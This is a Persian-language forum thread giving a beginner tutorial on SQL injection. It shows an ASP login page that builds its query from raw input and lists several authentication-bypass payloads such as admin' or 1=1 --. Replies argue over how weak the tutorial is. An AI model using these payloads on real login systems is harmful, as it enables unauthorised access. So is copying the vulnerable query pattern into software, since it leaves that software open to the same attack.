1. مهمان گرامی، جهت ارسال پست، دانلود و سایر امکانات ویژه کاربران عضو، ثبت نام کنید.
    بستن اطلاعیه

آموزش SQL Injection

شروع موضوع توسط HACKer.javan ‏7/5/11 در انجمن هک و امنیت

  1. کاربر مفید

    تاریخ عضویت:
    ‏15/4/11
    ارسال ها:
    750
    تشکر شده:
    27
    امتیاز دستاورد:
    0
    یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (iis) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.
    واحد اجرايی در SQL ها Query ها هستند.

    Query چیست؟

    مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.



    کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.


    Login.html



    <html>

    <body>

    <form method=get action="login_page.asp">

    <input type="text" name="login_name">

    <input type="text" name="pass">

    <input type="submit" value="sign in">

    </form>

    </body>

    </html>



    login_page.asp



    <@language="vbscript">

    <%

    dim conn,rs,log,pwd

    log=Request.form("login_name")

    pwd=Request.form("pass")



    set conn = Server.CreateObject("ADODB.Connection")

    conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb"

    conn.Open

    set rs = Server.CreateObject("ADODB.Recordset")

    rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn

    If rs.EOF

    response.write("Login failed")

    else

    response.write("Login successful")

    End if

    %>



    همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:

    1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.

    2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.

    اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.

    Username : admin

    Password : admin’ or a



    Username : admin

    Password : admin’ or a=a --



    حال چرا اين اتفاق می افتد؟

    در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.

    نمونه های ديگری از مثال بالا:

    admin" or "a"="a

    admin" or 1=1 --

    admin' or 1=1 --

    admin' or 'a'='a

    admin') or ('a'='a

    admin") or ("a"="a

    حال اگر هیچ کدام از این روشها کار نکرد چکار کنيم؟

    ما وقتی می توانیم به طور موفقیت آمیز به یک سیستم نفوذ کنیم که دقیقا از نحوه طراحی بانک اطلاعاتی آن مطلع باشيم.

    قسمت اصلی همين جاست. اگر خدا خواست در مقالات بعد به اين موضوع میپردازيم.
    امتحان کنکور دارم دعای خیر بکنید رشته کامپیوتر هستم.محتاجیم به دعا
    موفق باشید.
     
  2. عضو جدید

    تاریخ عضویت:
    ‏10/5/11
    ارسال ها:
    1
    تشکر شده:
    0
    امتیاز دستاورد:
    0
    پاسخ : آموزش SQL Injection

    سلام دوست عزیز خیلی ضعیف بود مطالب؟
    تو واقعا هکری ؟ یا ...:mat:
     
  3. کاربر فوق حرفه ای

    تاریخ عضویت:
    ‏1/12/10
    ارسال ها:
    4,897
    تشکر شده:
    1,871
    امتیاز دستاورد:
    0
    پاسخ : آموزش SQL Injection

    دوست عزیز اسپم ممنوع...این یک مطلب اموزشی بود حالا اگه از نظر شما ضعیف بود شما یه قوی ترش رو بزارید..
    با تشکر